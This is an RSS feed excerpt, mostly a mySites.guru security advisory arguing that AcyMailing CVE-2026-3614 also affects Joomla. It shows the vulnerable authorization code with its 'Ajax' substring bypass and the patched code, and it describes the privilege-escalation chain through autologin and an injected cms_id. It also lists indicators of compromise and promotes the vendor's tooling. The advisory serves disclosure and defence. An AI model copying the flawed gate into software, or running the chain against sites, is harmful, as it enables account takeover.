&lt;p&gt;HTML first, print on demand. The invoice you see is the invoice you get, and the format of any saved copy is yours to pick.&lt;/p&gt;
&lt;h2&gt;Give It a Try&lt;/h2&gt;
&lt;p&gt;Open your &lt;a href=&quot;https://manage.mysites.guru/en/teams/&quot;&gt;Your Team page&lt;/a&gt;, click &lt;strong&gt;Add Team Member&lt;/strong&gt;, and tick &lt;strong&gt;Accountant only&lt;/strong&gt;. Your accountant has a login in two minutes. If you do not yet have a mySites.guru account, &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;pricing starts at £5/month for one site or £19.99/month for unlimited sites&lt;/a&gt;, and every plan includes unlimited team members and accountants.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/teams/&quot;&gt;Add Your Accountant Now&lt;/a&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Team access patterns like this one are covered in our &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;agency multi-site management guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>accountant</category><category>bookkeeping</category><category>teams</category><category>invoices</category><category>site management</category><enclosure url="https://mysites.guru/_astro/accountant-portal.HvnOmYTb.png" length="0" type="image/png"/></item><item><title>AcyMailing Vulnerability Also Affects Joomla Sites</title><link>https://mysites.guru/blog/acymailing-cve-2026-3614-joomla/</link><guid isPermaLink="true">https://mysites.guru/blog/acymailing-cve-2026-3614-joomla/</guid><description>CVE-2026-3614 is listed as a WordPress bug. We diffed the 10.8.1 and 10.8.2 source and the same vulnerable code ships to Joomla sites too.</description><pubDate>Thu, 16 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Yet again, a vulnerability in a dual WordPress/Joomla plugin only gets noticed and shouted about in WordPress circles, leaving Joomla users blind and none the wiser.&lt;/p&gt;
&lt;p&gt;This time it is &lt;a href=&quot;https://www.acymailing.com/&quot;&gt;AcyMailing&lt;/a&gt;, a newsletter plugin with a Joomla component and a WordPress plugin built from the same source tree. &lt;a href=&quot;https://vulnerability.circl.lu/vuln/cve-2026-3614&quot;&gt;CVE-2026-3614&lt;/a&gt; is a CVSS 8.8 privilege escalation, and every advisory we could find describes it as WordPress-only. None of them mention Joomla.&lt;/p&gt;
&lt;p&gt;We downloaded the Joomla installer tarballs for AcyMailing 10.8.1 and 10.8.2, ran a diff, and found the patch sitting in shared code that ships to Joomla sites too. The AcyMailing vendor &lt;a href=&quot;https://www.acymailing.com/changelog/&quot;&gt;changelog&lt;/a&gt; also confirms it: the 10.8.2 security entry is flagged with both the Joomla and WordPress icons, so the vendor themselves are telling you both platforms are affected - the CVE just doesn&apos;t. If your Joomla site runs AcyMailing 9.11.0 through 10.8.1, your attack surface is identical to the WordPress sites the CVE was written for.&lt;/p&gt;
&lt;p&gt;Hundreds of Joomla and WordPress sites connected to &lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; are running an affected version right now. Here is what the bug actually does, why the public record missed Joomla, and what to do about it.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-3614&quot;&gt;CVE-2026-3614&lt;/a&gt;&lt;/strong&gt; — CVSS 8.8 privilege escalation in AcyMailing 9.11.0 through 10.8.1&lt;/li&gt;
&lt;li&gt;Public CVE describes it as a WordPress-only bug. &lt;strong&gt;It is not.&lt;/strong&gt; Joomla is equally affected&lt;/li&gt;
&lt;li&gt;Patch shipped in &lt;strong&gt;AcyMailing 10.8.2&lt;/strong&gt; on 13 March 2026. Update every Joomla and WordPress site running it&lt;/li&gt;
&lt;li&gt;Vendor changelog flags the fix with both the Joomla and WordPress icons. Our own source diff proves the vulnerable code is in shared &lt;code&gt;back/Core/AcymController.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Joomla&apos;s &lt;a href=&quot;https://extensions.joomla.org/vulnerable-extensions/vulnerable/&quot;&gt;Vulnerable Extensions List&lt;/a&gt; has no entry for this CVE. The most recent VEL entry is from February 2026&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
  &lt;p&gt;This is the second recent case of a cross-platform plugin vulnerability being disclosed for WordPress only while Joomla site operators receive no public warning. &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;Smart Slider 3&lt;/a&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-3098&quot;&gt;CVE-2026-3098&lt;/a&gt;) was the previous one. The pattern is becoming familiar.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How to Check Your Sites for AcyMailing 9.11.0 to 10.8.1 with mySites.guru&lt;/h2&gt;
&lt;p&gt;When a privilege escalation CVE drops in a plugin that ships on both Joomla and WordPress, the first question every agency asks is: &quot;Which of my sites are running a vulnerable version?&quot; If you manage 50 or 200 client sites across both CMS platforms, logging into each admin panel and checking the AcyMailing version is not viable. By the time you get through the list, the attacker has already had their month of diff-and-exploit lead time.&lt;/p&gt;
&lt;p&gt;mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;twice-daily extension snapshot&lt;/a&gt; records the exact version of every installed plugin and Joomla extension across every connected site. The extension search page lets you filter by version number in seconds.&lt;/p&gt;
&lt;p&gt;If you are already a mySites.guru subscriber, the &lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/2f9c94cd1f52e5708220fc09bd24a385&quot;&gt;AcyMailing extension search page&lt;/a&gt; lists every installed version across all your connected Joomla and WordPress sites, grouped by version number. Filter for anything between 9.11.0 and 10.8.1 to see which sites need the update.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;View all your AcyMailing installations&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/2f9c94cd1f52e5708220fc09bd24a385&quot;&gt;Open AcyMailing Extension Search&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Lists every installed version across all your connected Joomla and WordPress sites. Filter by 9.11.0 through 10.8.1 to find vulnerable installations that need to move to 10.8.2.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Combined with the &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass plugin updater&lt;/a&gt;, you can push 10.8.2 across every affected site in one batch. A cross-platform CVE becomes a five-minute triage instead of a full day of logging into client admin panels.&lt;/p&gt;
&lt;p&gt;If you do not have a mySites.guru account yet, &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;start a free trial&lt;/a&gt; and connect your sites. The plugin index builds automatically on the first snapshot.&lt;/p&gt;
&lt;h3&gt;Checking manually without mySites.guru is a lot of work with a lot of sites&lt;/h3&gt;
&lt;p&gt;If you manage sites outside of mySites.guru, log into each admin and check the version:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Joomla:&lt;/strong&gt; open &lt;strong&gt;Components → AcyMailing → Configuration&lt;/strong&gt;. The version number is at the bottom of the page.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WordPress:&lt;/strong&gt; open &lt;strong&gt;Plugins → Installed Plugins&lt;/strong&gt; and look at the AcyMailing row.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Anything 9.11.0 through 10.8.1 needs updating. The &lt;a href=&quot;https://www.acymailing.com/changelog/&quot;&gt;AcyMailing changelog&lt;/a&gt; lists the latest release, and the download comes through your AcyMailing account.&lt;/p&gt;
&lt;h2&gt;How does mySites.guru help subscribers when a vulnerability is found?&lt;/h2&gt;
&lt;p&gt;Finding the affected sites is the easy bit. Once you know which ones are vulnerable you still have to triage, patch, verify, and sometimes clean up after exploitation. Here is how mySites.guru handles each stage.&lt;/p&gt;
&lt;h3&gt;Twice-daily extension snapshots&lt;/h3&gt;
&lt;p&gt;Every connected Joomla and WordPress site is snapshotted twice a day. The snapshot records the plugin index, CMS core version, PHP version, server modules, and active templates. When a new CVE lands, the latest snapshot is at most 12 hours old, so you are not looking at yesterday&apos;s state. Cross-platform CVEs like this AcyMailing one show up across both CMS families in the same query.&lt;/p&gt;
&lt;h3&gt;Cross-referenced vulnerability alerts&lt;/h3&gt;
&lt;p&gt;Snapshot data gets matched against the &lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities&quot;&gt;Wordfence&lt;/a&gt; and &lt;a href=&quot;https://patchstack.com/database/&quot;&gt;Patchstack&lt;/a&gt; feeds automatically. Any WordPress CVE that also hits a Joomla-side plugin (because the plugin ships dual-platform from shared code) surfaces on the affected Joomla sites too. That closes the gap that caught this AcyMailing CVE out.&lt;/p&gt;
&lt;p&gt;Alerts fire to email and appear on the dashboard the morning the feeds update. No polling, no manual cross-reference.&lt;/p&gt;
&lt;h3&gt;One-click bulk updates&lt;/h3&gt;
&lt;p&gt;Once vulnerable versions show up in your portfolio, the &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass plugin updater&lt;/a&gt; pushes the fixed version to every affected site in one batch. Joomla and WordPress sites update through the same workflow. No logging into client admin panels one at a time.&lt;/p&gt;
&lt;h3&gt;Post-update verification audits&lt;/h3&gt;
&lt;p&gt;A &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;full site audit&lt;/a&gt; runs after each update to verify the plugin is at the expected version and the site is still healthy. The audit catches updates that silently failed, sites that went down, and file-integrity checks that broke. You get a report rather than having to spot-check manually.&lt;/p&gt;
&lt;h3&gt;File-level malware scanning for post-exploitation&lt;/h3&gt;
&lt;p&gt;An update does not undo exploitation that already happened. mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/wordpress-malware-scanner/&quot;&gt;malware scanner&lt;/a&gt; runs file-level integrity checks and pattern matching for known backdoors and droppers, and the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;hacked-files detector&lt;/a&gt; walks through how to interpret the results. When Astroid Framework was being actively exploited in March 2026, the scanner flagged the BLPayload droppers on customer sites on the next audit cycle, before any public IoC list existed.&lt;/p&gt;
&lt;h3&gt;Changelog and incident dashboard&lt;/h3&gt;
&lt;p&gt;Every new CVE writeup, mass-exploitation wave, and plugin backdoor incident goes on the &lt;a href=&quot;https://manage.mysites.guru/en/changelog&quot;&gt;account changelog&lt;/a&gt; so subscribers have a running record of what happened, when, and what needed doing. The AcyMailing CVE-2026-3614 entry is there too.&lt;/p&gt;
&lt;p&gt;For Joomla operators, this is the closest thing the ecosystem has to a commercial vulnerability pipeline. Imperfect, and dependent on the WordPress-side CVE feeds catching the bug first - but it is what exists until someone builds a Joomla-native equivalent.&lt;/p&gt;
&lt;h2&gt;What does the AcyMailing vulnerability actually do?&lt;/h2&gt;
&lt;p&gt;At CVSS 8.8 this is a privilege escalation, not remote code execution. An attacker needs an authenticated account on the target site. On WordPress that means a Subscriber-level user, the lowest privilege WordPress offers. On Joomla it means any registered user whose ACL grants them access to the relevant AcyMailing routes.&lt;/p&gt;
&lt;p&gt;From that low-privilege starting point, the vulnerability lets the attacker call admin-only controller methods on the AcyMailing component. The &lt;a href=&quot;https://managed-wp.com/latest-wordpress-plugin-vulnerabilities/critical-acymailing-smtp-access-control-vulnerability-cve20263614-2026-04-16/&quot;&gt;public Wordfence-style writeup&lt;/a&gt; describes the attacker:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Turning on AcyMailing&apos;s autologin feature via the configuration controller&lt;/li&gt;
&lt;li&gt;Creating a malicious newsletter subscriber with an injected &lt;code&gt;cms_id&lt;/code&gt; pointing to any existing CMS user, including administrators&lt;/li&gt;
&lt;li&gt;Using the autologin URL to authenticate as that user&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;You sign up as a subscriber, walk in as the admin. That is the whole chain.&lt;/p&gt;
&lt;h2&gt;Why does the AcyMailing CVE only mention WordPress?&lt;/h2&gt;
&lt;p&gt;Because Joomla has no commercial CVE reporting infrastructure, and WordPress does. That is the entire answer. Everything below is the detail.&lt;/p&gt;
&lt;p&gt;WordPress has three separate commercial vulnerability research operations paying people to break their plugin ecosystem:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/&quot;&gt;Wordfence&lt;/a&gt; is a &lt;a href=&quot;https://www.cve.org/PartnerInformation/ListofPartners&quot;&gt;CVE Numbering Authority&lt;/a&gt;, so they can issue CVE IDs directly without going through MITRE. They also run the &lt;a href=&quot;https://www.wordfence.com/threat-intel/bug-bounty-program/&quot;&gt;Wordfence Bug Bounty Program&lt;/a&gt; that pays researchers to report plugin vulnerabilities.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://patchstack.com/&quot;&gt;Patchstack&lt;/a&gt; is also a CNA, runs the &lt;a href=&quot;https://patchstack.com/bug-bounty/&quot;&gt;Patchstack Alliance bug bounty&lt;/a&gt;, and coordinates &lt;a href=&quot;https://en.wikipedia.org/wiki/Coordinated_vulnerability_disclosure&quot;&gt;responsible disclosure&lt;/a&gt; with plugin authors.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wpscan.com/&quot;&gt;WPScan&lt;/a&gt; is owned by Automattic (the company behind WordPress.com) and maintains a vulnerability database that feeds commercial security plugins.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All three scan every WordPress plugin update looking for silent security fixes. All three pay staff to produce CVEs and advisories.&lt;/p&gt;
&lt;p&gt;Joomla has a CNA too - the &lt;a href=&quot;https://www.joomla.org/announcements/general-news/5829-joomla-is-now-running-its-own-cve-numbering-authority-cna.html&quot;&gt;Joomla Security Strike Team became one in November 2020&lt;/a&gt; - but their scope in practice is Joomla core, not third-party extensions. They rarely issue CVEs for extension bugs. Beyond that, there is nothing: no bug bounty, no commercial researcher community, no release scanning. The &lt;a href=&quot;https://extensions.joomla.org/vulnerable-extensions/vulnerable/&quot;&gt;Joomla Vulnerable Extensions List&lt;/a&gt; is volunteer-run and reporter-led - somebody has to send them a report before an entry appears. On the day CVE-2026-3614 dropped, VEL&apos;s most recent entry was from 27 February 2026. No CVE-2026-3614 entry was added.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; is as close as the Joomla world gets to the Wordfence/Patchstack role, and we are honest about the limits: we cross-reference extension versions on every connected site against the WordPress vulnerability feeds twice a day, which closes the gap on cross-platform plugins but is not a replacement for a funded Joomla CVE pipeline. Nothing is. Until someone decides to build a Joomla Wordfence and fund it, this asymmetry is going to keep happening. Joomla operators who only watch CVE feeds see the AcyMailing disclosure, see the word &quot;WordPress&quot;, and move on. Their sites stay exposed.&lt;/p&gt;
&lt;h2&gt;How we proved CVE-2026-3614 affects Joomla AcyMailing too&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://api.acymailing.com/public/updatexml/component?extension=acymailing&amp;amp;cms=joomla&amp;amp;version=latest&amp;amp;level=starter&quot;&gt;AcyMailing&apos;s download API&lt;/a&gt; only serves the latest version, but &lt;a href=&quot;https://github.com/acyba/acymailing&quot;&gt;acyba&apos;s GitHub organisation&lt;/a&gt; maintains tagged source for older releases. We pulled the 10.8.1 and 10.8.2 Joomla-compiled tarballs and ran &lt;code&gt;diff -rq&lt;/code&gt; across the two trees.&lt;/p&gt;
&lt;p&gt;The files that differ between the two releases are the ones the WordPress CVE writeup points to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;back/Core/AcymController.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;back/Classes/UserClass.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;back/Controllers/ConfigurationController.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;front/FrontControllers/FrontconfigurationController.php&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These are not WordPress-specific files. They live under &lt;code&gt;back/&lt;/code&gt; and &lt;code&gt;front/&lt;/code&gt;, the platform-agnostic AcyMailing core. The &lt;code&gt;WpInit/&lt;/code&gt; folder the public CVE writeup references is the WordPress integration layer that calls into this shared code.&lt;/p&gt;
&lt;h3&gt;How the authorization bypass works&lt;/h3&gt;
&lt;p&gt;In vulnerable versions of &lt;code&gt;back/Core/AcymController.php&lt;/code&gt;, the authorization gate looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function call(string $task): void
{
    // If not authorized, display message and redirect to dashboard
    if (!in_array($task, [&apos;countResultsTotal&apos;, &apos;countGlobalBySegmentId&apos;, &apos;countResults&apos;])
        &amp;amp;&amp;amp; strpos($task, &apos;Ajax&apos;) === false
        &amp;amp;&amp;amp; !acym_isAllowed($this-&amp;gt;name)) {
        acym_enqueueMessage(acym_translation(&apos;ACYM_ACCESS_DENIED&apos;), &apos;warning&apos;);
        acym_redirect(acym_completeLink(&apos;dashboard&apos;));
    }
    // ... dispatch the task
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The second condition is the bug. &lt;code&gt;strpos($task, &apos;Ajax&apos;) === false&lt;/code&gt; means: &lt;strong&gt;if the task name contains the word &quot;Ajax&quot;, skip the authorization check entirely.&lt;/strong&gt; Any controller method named &lt;code&gt;somethingAjax&lt;/code&gt; can be called by any authenticated user, with no permission check at all.&lt;/p&gt;
&lt;p&gt;In 10.8.2 the gate is three lines and every task goes through &lt;code&gt;acym_isAllowed()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function call(string $task): void
{
    if (!acym_isAllowed($this-&amp;gt;name)) {
        acym_enqueueMessage(acym_translation(&apos;ACYM_ACCESS_DENIED&apos;), &apos;warning&apos;);
        acym_redirect(acym_completeLink(&apos;dashboard&apos;));
    }
    // ... dispatch the task
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;How the subscriber injection works&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;back/Classes/UserClass.php&lt;/code&gt; is the second half of the chain. In vulnerable versions, the subscriber-save code does not strip &lt;code&gt;cms_id&lt;/code&gt; or &lt;code&gt;key&lt;/code&gt; from attacker-controlled input. That lets an attacker create a newsletter subscriber with:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;cms_id&lt;/code&gt; set to an administrator&apos;s user ID&lt;/li&gt;
&lt;li&gt;&lt;code&gt;key&lt;/code&gt; set to a known autologin token&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Combine that with the autologin feature toggled on (reachable via the AJAX controller bypass above), and the attacker can hit the autologin URL and authenticate as the admin.&lt;/p&gt;
&lt;p&gt;In 10.8.2 both fields are stripped before save:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unset($user-&amp;gt;cms_id);
unset($user-&amp;gt;key);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is the &quot;user creation&quot; fix the vendor&apos;s changelog refers to.&lt;/p&gt;
&lt;h3&gt;The vendor changelog confirms Joomla&lt;/h3&gt;
&lt;p&gt;This is the AcyMailing 10.8.2 changelog entry from &lt;a href=&quot;https://www.acymailing.com/changelog/&quot;&gt;acymailing.com&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Vulnerability&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;[Joomla icon] [WordPress icon] A vulnerability on user creation impacting versions 9.11.0 to 10.8.1 has been patched. Details will be disclosed after a reasonable time to let users apply the patch first.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Both platform icons appear next to the vulnerability entry. The vendor confirms both CMS versions are affected. The public CVE does not.&lt;/p&gt;
&lt;h2&gt;AcyMailing is the sixth AJAX authorization CVE in eight weeks&lt;/h2&gt;
&lt;p&gt;We have been writing about this pattern for two months. &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-3614&quot;&gt;CVE-2026-3614&lt;/a&gt; is the sixth AJAX-authorization bug in that window, and the shape is the same every time. An AJAX endpoint authenticates the request (the user is logged in, the CSRF token is valid) but never checks whether the user is authorized to do the thing they&apos;re asking to do.&lt;/p&gt;
&lt;p&gt;Eight weeks of CVE disclosures in Joomla and WordPress extensions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid Framework&lt;/a&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-21628&quot;&gt;CVE-2026-21628&lt;/a&gt;)&lt;/strong&gt; — CVSS 10.0, Joomla. AJAX endpoint checked the CSRF token but skipped the admin-authentication check. Grab the token from the login page, upload backdoors, done.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain Framework&lt;/a&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-21627&quot;&gt;CVE-2026-21627&lt;/a&gt;)&lt;/strong&gt; — CVSS 9.5, Joomla. &lt;code&gt;com_ajax&lt;/code&gt; endpoint with no authentication check, reachable via Convert Forms and EngageBox plugins.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;Smart Slider 3&lt;/a&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-3098&quot;&gt;CVE-2026-3098&lt;/a&gt;)&lt;/strong&gt; — WordPress. &lt;code&gt;admin-ajax.php&lt;/code&gt; action with a valid CSRF check and no capability check. Any subscriber could download &lt;code&gt;wp-config.php&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Joomla core (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-21629&quot;&gt;CVE-2026-21629&lt;/a&gt;)&lt;/strong&gt; — the Joomla Security Strike Team&apos;s own discovery that &lt;code&gt;com_ajax&lt;/code&gt; was excluded from the default logged-in-user check in the admin area. The framework routing every Joomla plugin&apos;s AJAX requests had the same authorization gap as the plugins built on top of it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/ninja-forms-file-uploads-cve-2026-0740/&quot;&gt;Ninja Forms File Uploads&lt;/a&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-0740&quot;&gt;CVE-2026-0740&lt;/a&gt;)&lt;/strong&gt; — CVSS 9.8, WordPress. Unauthenticated RCE via an &lt;code&gt;admin-ajax.php&lt;/code&gt; handler that never checked anything.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AcyMailing (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-3614&quot;&gt;CVE-2026-3614&lt;/a&gt;, this post)&lt;/strong&gt; — CVSS 8.8, Joomla and WordPress. Internal AJAX router had a one-line &lt;code&gt;strpos($task, &apos;Ajax&apos;) === false&lt;/code&gt; loophole that let any logged-in user reach admin-only controller methods.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Same root cause every time. A developer implemented CSRF protection (which stops requests originating on another domain) and assumed that covered access control (which decides who is allowed to do what). It doesn&apos;t. They defend against different threats and you need both.&lt;/p&gt;
&lt;p&gt;Our &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;March 2026 AJAX pattern post&lt;/a&gt; goes into why this keeps happening, what Joomla 5.4.4 did at the framework level for &lt;code&gt;com_ajax&lt;/code&gt;, and why the official Joomla developer documentation still teaches the insecure pattern. AcyMailing fits the template. The vulnerable code called &lt;code&gt;acym_isAllowed()&lt;/code&gt; on most tasks but had a &lt;code&gt;strpos(&apos;Ajax&apos;)&lt;/code&gt; substring check that let any attacker slip past by picking an Ajax-suffixed task name. In 10.8.2 every task goes through the authorization function - which is what should have been happening since 9.11.0.&lt;/p&gt;
&lt;p&gt;If you manage a portfolio of Joomla or WordPress sites with a pile of third-party extensions, assume this pattern is not done with us. More AJAX authorization CVEs are coming, probably this month. Patching each one as it lands is not a strategy - by the time the CVE is public the attackers have already had their month of diff-and-exploit time. What actually works is tracking extension versions across every site you manage and being able to pull up the list of vulnerable installs the same afternoon a CVE drops. That is the workflow &lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; is built around.&lt;/p&gt;
&lt;h2&gt;Why Joomla extensions keep getting left behind on CVE visibility&lt;/h2&gt;
&lt;p&gt;The gap is self-reinforcing. Fewer Joomla installations than WordPress means less commercial incentive to fund a Joomla-focused Wordfence. Less vulnerability research means fewer Joomla CVEs. Fewer CVEs makes Joomla look safer than it is, which kills urgency to build the missing infrastructure, which keeps the feedback loop going.&lt;/p&gt;
&lt;p&gt;Meanwhile the WordPress side gets richer. &lt;a href=&quot;https://www.wordfence.com/products/wordfence-premium/&quot;&gt;Wordfence Premium&lt;/a&gt; sells firewall rules. Threat-intelligence subscriptions feed commercial products like &lt;a href=&quot;https://jetpack.com/upgrade/scan/&quot;&gt;Jetpack Scan&lt;/a&gt;, &lt;a href=&quot;https://sucuri.net/&quot;&gt;Sucuri&lt;/a&gt;, and &lt;a href=&quot;https://solidwp.com/security/&quot;&gt;Solid Security&lt;/a&gt;. Every new paying customer justifies more researcher hires. Every new CVE makes the feed more valuable. WordPress has turned plugin vulnerability disclosure into a funded commercial loop. Joomla has the &lt;a href=&quot;https://developer.joomla.org/security/&quot;&gt;Joomla Security Strike Team&lt;/a&gt; (core only) and &lt;a href=&quot;https://extensions.joomla.org/vulnerable-extensions/about/&quot;&gt;VEL&lt;/a&gt; (volunteer-run, reactive).&lt;/p&gt;
&lt;p&gt;When the vulnerability lives in cross-platform code, the asymmetry gets painful. Smart Slider 3 in March was the clearest recent case: the WordPress side got a CVE, a Wordfence advisory, coverage on every WordPress security blog. Joomla site operators found out via a German-language forum thread. Different plugin, same story here.&lt;/p&gt;
&lt;h2&gt;What to do right now about AcyMailing 10.8.2&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;If you only have a handful of sites:&lt;/strong&gt; log into each Joomla admin, check the AcyMailing version, update to 10.8.2 via AcyMailing&apos;s Joomla installer.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;If you manage tens or hundreds of sites:&lt;/strong&gt; &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;connect them to mySites.guru&lt;/a&gt; and the dashboard will show you every site running AcyMailing, the exact version, and flag the vulnerable range. The same screen pushes the 10.8.2 update to every affected site in one batch, for Joomla and WordPress together. This is the use case &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;multi-site CMS management tools&lt;/a&gt; are built for.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;If your extension auto-updates are disabled&lt;/strong&gt; (Joomla disables them by default), you will have to push the update manually. Most AcyMailing installs we see across the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;portfolio&lt;/a&gt; are two or three minor versions behind. If the primary CMS you manage is Joomla, start watching the WordPress CVE feeds too - CVE-2026-3614 is proof that a WordPress-framed disclosure may hit Joomla anyway.&lt;/p&gt;
&lt;h2&gt;Was my Joomla site exploited via AcyMailing before I patched?&lt;/h2&gt;
&lt;p&gt;The vulnerability went public on 16 April 2026. The patch was available from 13 March 2026. So anyone with a GitHub account and 10 minutes of patience has had a month to diff the releases, work out the attack path, and quietly try it on whatever authenticated accounts they already had. If you are patching late, assume exploitation attempts happened.&lt;/p&gt;
&lt;p&gt;Signs of compromise on a Joomla site:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;New administrator accounts&lt;/strong&gt; you didn&apos;t create. Check &lt;strong&gt;Users → Manage&lt;/strong&gt; and sort by registration date&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AcyMailing configuration changes&lt;/strong&gt; you didn&apos;t make, specifically the autologin setting being turned on&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;New newsletter subscribers&lt;/strong&gt; with unusual &lt;code&gt;cms_id&lt;/code&gt; values linking them to admin accounts&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Autologin URLs in access logs&lt;/strong&gt; referencing AcyMailing routes with session-establishing tokens&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If any of those turn up, assume the site is compromised and work through a &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla hack recovery&lt;/a&gt; instead of just updating the plugin. Updating closes the door, but if an attacker already got in and established a secondary persistence mechanism (new admin, backdoor file, scheduled task), the update does not clean that up.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://vulnerability.circl.lu/vuln/cve-2026-3614&quot;&gt;CVE-2026-3614 on Vulnerability-Lookup&lt;/a&gt; — the CIRCL CVE record with full technical metadata&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://managed-wp.com/latest-wordpress-plugin-vulnerabilities/critical-acymailing-smtp-access-control-vulnerability-cve20263614-2026-04-16/&quot;&gt;Managed-WP advisory&lt;/a&gt; — the most detailed public writeup of the WordPress attack path&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.acymailing.com/changelog/&quot;&gt;AcyMailing changelog&lt;/a&gt; — the vendor&apos;s own confirmation of the shared-code fix with both Joomla and WordPress icons&lt;/li&gt;
